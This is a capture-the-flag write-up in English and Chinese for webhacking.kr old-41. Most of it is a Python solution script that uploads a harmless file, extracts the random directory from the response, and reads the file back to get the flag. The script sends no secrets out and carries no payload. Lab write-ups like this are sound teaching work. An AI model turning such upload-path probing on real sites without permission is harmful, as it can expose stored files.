Webhacking.kr old-41

Challenge

Use the upload path and filename behavior to read the flag.

利用上传路径和文件名处理读取 flag。

1
https://webhacking.kr/challenge/web-19/

Analysis

题目接受 multipart 文件上传,并把上传文件放入返回的随机目录。普通文件名 123 也会被保存,随后可以直接按返回目录访问该文件。文件内容并不是关键,关键是上传后的路径可读,题目在该读取响应中直接给出 flag。

Solution

下面是最小可运行 Python 请求脚本;它上传一个临时普通文件并读取题目返回的路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

def upload(session: requests.Session, challenge_url: str, filename: str) -> str:
data = b"webhacking-old-41\n"
files = {"file": (filename, data, "application/octet-stream")}
response = session.post(challenge_url, files=files, timeout=20)
response.raise_for_status()

# The challenge returns a path containing the upload directory. Keep the
# extraction conservative and fail instead of guessing a path.
match = re.search(r"(?:/challenge/web-19/)?([0-9a-f]{40})/" + re.escape(filename), response.text)
if not match:
raise RuntimeError("upload directory was not found in the response")
return urljoin(challenge_url, match.group(0))

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="https://webhacking.kr/challenge/web-19/")
parser.add_argument("--filename", default="123")
parser.add_argument("--cookie", help="optional session cookie; do not put it in the article")
args = parser.parse_args()

session = requests.Session()
if args.cookie:
session.cookies.set("session-cookie", args.cookie, domain="webhacking.kr", path="/")

uploaded_url = upload(session, args.url, args.filename)
response = session.get(uploaded_url, timeout=20)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

脚本通过 multipart/form-data 上传字段 file,从响应中提取 40 位十六进制随机目录,再 GET 该目录下的 123。

脚本依赖题目响应仍以 40 位十六进制目录返回路径;读取响应中的 flag 即可得到题目答案。